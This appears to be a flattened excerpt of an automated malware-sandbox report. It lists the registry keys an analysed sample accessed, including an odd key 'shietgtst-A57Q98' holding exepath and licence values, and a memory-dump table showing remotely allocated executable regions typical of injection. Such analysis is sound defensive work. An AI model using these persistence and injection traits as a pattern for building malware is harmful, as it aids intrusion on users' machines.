|
Franklin Gothic Medium
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Franklin Gothic Medium Cond
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
FrankRuehl
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
FreesiaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Freestyle Script
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
French Script MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gabriola
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Garamond
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gautami
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Georgia
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gigi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gill Sans MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gill Sans MT Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gill Sans MT Ext Condensed Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gill Sans Ultra Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gill Sans Ultra Bold Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gisha
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gloucester MT Extra Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Goudy Old Style
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Goudy Stout
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gulim
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
GulimChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Gungsuh
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
GungsuhChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Haettenschweiler
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Harlow Solid Italic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Harrington
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
High Tower Text
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Impact
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Imprint MT Shadow
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Informal Roman
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
IrisUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Iskoola Pota
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
JasmineUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Jokerman
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Juice ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
KaiTi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Kalinga
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Kartika
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Khmer UI
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
KodchiangUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Kokila
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Kristen ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Kunstler Script
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lao UI
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Latha
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Leelawadee
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Levenim MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
LilyUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Bright
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Calligraphy
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Console
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Fax
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Handwriting
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Sans
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Sans Typewriter
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Lucida Sans Unicode
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Magneto
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Maiandra GD
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Malgun Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Mangal
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Marlett
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Matura MT Script Capitals
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Meiryo
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Meiryo UI
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft Himalaya
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft JhengHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft New Tai Lue
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft PhagsPa
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft Sans Serif
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft Tai Le
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft Uighur
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft YaHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Microsoft Yi Baiti
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MingLiU
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MingLiU_HKSCS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MingLiU_HKSCS-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MingLiU-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Miriam
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Miriam Fixed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Mistral
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Modern No. 20
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Mongolian Baiti
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Monotype Corsiva
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MoolBoran
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS Mincho
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS Outlook
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS PGothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS PMincho
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS Reference Sans Serif
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS Reference Specialty
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MS UI Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MT Extra
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
MV Boli
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Narkisim
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Niagara Engraved
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Niagara Solid
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
NSimSun
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Nyala
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
OCR A Extended
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Old English Text MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Onyx
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Palace Script MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Palatino Linotype
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Papyrus
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Parchment
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Perpetua
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Perpetua Titling MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Plantagenet Cherokee
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Playbill
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
PMingLiU
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
PMingLiU-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Poor Richard
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Pristina
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Raavi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Rage Italic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Ravie
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Rockwell
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Rockwell Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Rockwell Extra Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Rod
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Sakkal Majalla
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Script MT Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe Print
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe Script
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe UI
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe UI Light
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe UI Semibold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Segoe UI Symbol
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Shonar Bangla
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Showcard Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Shruti
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
SimHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Simplified Arabic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Simplified Arabic Fixed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
SimSun
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
SimSun-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Snap ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Stencil
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Sylfaen
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Symbol
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tahoma
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tempus Sans ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Times New Roman
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Traditional Arabic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Trebuchet MS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tunga
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tw Cen MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tw Cen MT Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Tw Cen MT Condensed Extra Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Utsaah
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Vani
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Verdana
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Vijaya
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Viner Hand ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Vivaldi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Vladimir Script
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Vrinda
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Webdings
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Wide Latin
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Wingdings
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Wingdings 2
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Wingdings 3
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\Trusted Documents
|
LastPurgeTime
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
|
1033
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
|
1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
WORDFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
|
SavedLegacySettings
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
|
SpellingAndGrammarFiles_3082
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
|
SpellingAndGrammarFiles_3082
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1036
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1036
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
|
SpellingAndGrammarFiles_3082
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
|
SpellingAndGrammarFiles_3082
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1036
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1036
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
|
SpellingAndGrammarFiles_1033
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Data
|
Settings
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
|
MTTF
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
|
MTTA
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
|
EquationEditorFilesIntl_1033
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
|
SavedLegacySettings
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
|
exepath
|
||
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
|
licence
|
||
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
|
time
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
|
SavedLegacySettings
|
There are 445 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
3760000
|
trusted library allocation
|
page read and write
|
||
7895000
|
direct allocation
|
page execute and read and write
|
||
751000
|
heap
|
page read and write
|
||
400000
|
remote allocation
|
page execute and read and write
|
||
3329000
|
trusted library allocation
|
page read and write
|
||
A00000
|
trusted library allocation
|
page read and write
|
||
447E000
|
stack
|
page read and write
|
||
51EC000
|
heap
|
page read and write
|
||
430000
|
trusted library allocation
|
page read and write
|
||
2BCC000
|
stack
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
B20000
|
trusted library allocation
|
page read and write
|
||
433C000
|
stack
|
page read and write
|
||
51E8000
|
heap
|
page read and write
|
||
6E95000
|
direct allocation
|
page execute and read and write
|
||
6050000
|
heap
|
page read and write
|
||
4D61000
|
heap
|
page read and write
|
||
2FEE000
|
stack
|
page read and write
|
||
41F000
|
system
|
page execute and read and write
|
||
2B12000
|
heap
|
page read and write
|
||
45DA000
|
stack
|
page read and write
|
||
A60000
|
trusted library allocation
|
page read and write
|
||
1FD0000
|
heap
|
page read and write
|
||
2C20000
|
heap
|
page read and write
|
||
524000
|
heap
|
page read and write
|
||
3EDF000
|
stack
|
page read and write
|
||
639E000
|
stack
|
page read and write
|
||
3701000
|
trusted library allocation
|
page read and write
|
||
401E000
|
stack
|
page read and write
|
||
2D6A000
|
heap
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
4D50000
|
heap
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
2B0F000
|
trusted library allocation
|
page read and write
|
||
330E000
|
stack
|
page read and write
|
||
282000
|
trusted library allocation
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
ED0000
|
trusted library allocation
|
page execute and read and write
|
||
4DD000
|
stack
|
page read and write
|
||
4C7D000
|
stack
|
page read and write
|
||
7B9000
|
heap
|
page read and write
|
||
4F40000
|
heap
|
page read and write
|
||
2B42000
|
heap
|
page read and write
|
||
2D52000
|
heap
|
page read and write
|
||
20000
|
heap
|
page read and write
|
||
48E000
|
heap
|
page read and write
|
||
524000
|
heap
|
page read and write
|
||
1D40000
|
heap
|
page read and write
|
||
2C7000
|
stack
|
page read and write
|
||
9DE000
|
stack
|
page read and write | page guard
|
||
10000
|
heap
|
page read and write
|
||
390000
|
heap
|
page read and write
|
||
5F9C000
|
stack
|
page read and write
|
||
D4E000
|
stack
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
670000
|
heap
|
page read and write
|
||
A80000
|
heap
|
page read and write
|
||
4396000
|
heap
|
page execute and read and write
|
||
3D9F000
|
stack
|
page read and write
|
||
30B1000
|
heap
|
page read and write
|
||
1050000
|
trusted library allocation
|
page read and write
|
||
22FB000
|
trusted library allocation
|
page read and write
|
||
456000
|
system
|
page execute and read and write
|
||
48C000
|
heap
|
page read and write
|
||
35EF000
|
stack
|
page read and write
|
||
28BE000
|
stack
|
page read and write
|
||
4DB000
|
heap
|
page read and write
|
||
490000
|
heap
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
49D000
|
heap
|
page read and write
|
||
24BF000
|
stack
|
page read and write
|
||
4F3000
|
heap
|
page read and write
|
||
43D0000
|
heap
|
page read and write
|
||
50D000
|
heap
|
page read and write
|
||
410000
|
trusted library allocation
|
page read and write
|
||
377000
|
heap
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
2D58000
|
heap
|
page read and write
|
||
4A1E000
|
stack
|
page read and write
|
||
4FE000
|
heap
|
page read and write
|
||
CF0000
|
trusted library allocation
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
4D0E000
|
stack
|
page read and write
|
||
62EE000
|
stack
|
page read and write
|
||
2B3D000
|
heap
|
page read and write
|
||
26FE000
|
stack
|
page read and write
|
||
230F000
|
stack
|
page read and write
|
||
2D4B000
|
heap
|
page read and write
|
||
1C5000
|
trusted library allocation
|
page execute and read and write
|
||
930000
|
trusted library allocation
|
page read and write
|
||
3D8000
|
heap
|
page read and write
|
||
225E000
|
stack
|
page read and write
|
||
1D44000
|
heap
|
page read and write
|
||
2C3E000
|
heap
|
page read and write
|
||
A4C000
|
stack
|
page read and write
|
||
247000
|
heap
|
page read and write
|
||
25D000
|
stack
|
page read and write
|
||
316E000
|
stack
|
page read and write
|
||
2EC0000
|
trusted library allocation
|
page read and write
|
||
580000
|
heap
|
page read and write
|
||
2B9C000
|
heap
|
page read and write
|
||
279E000
|
stack
|
page read and write
|
||
44BC000
|
stack
|
page read and write
|
||
5E5D000
|
stack
|
page read and write
|
||
2CFB000
|
trusted library allocation
|
page read and write
|
||
3701000
|
trusted library allocation
|
page read and write
|
||
5E2E000
|
stack
|
page read and write
|
||
4DE000
|
heap
|
page read and write
|
||
2D77000
|
heap
|
page read and write
|
||
325F000
|
heap
|
page read and write
|
||
470000
|
heap
|
page read and write
|
||
5F4E000
|
stack
|
page read and write | page guard
|
||
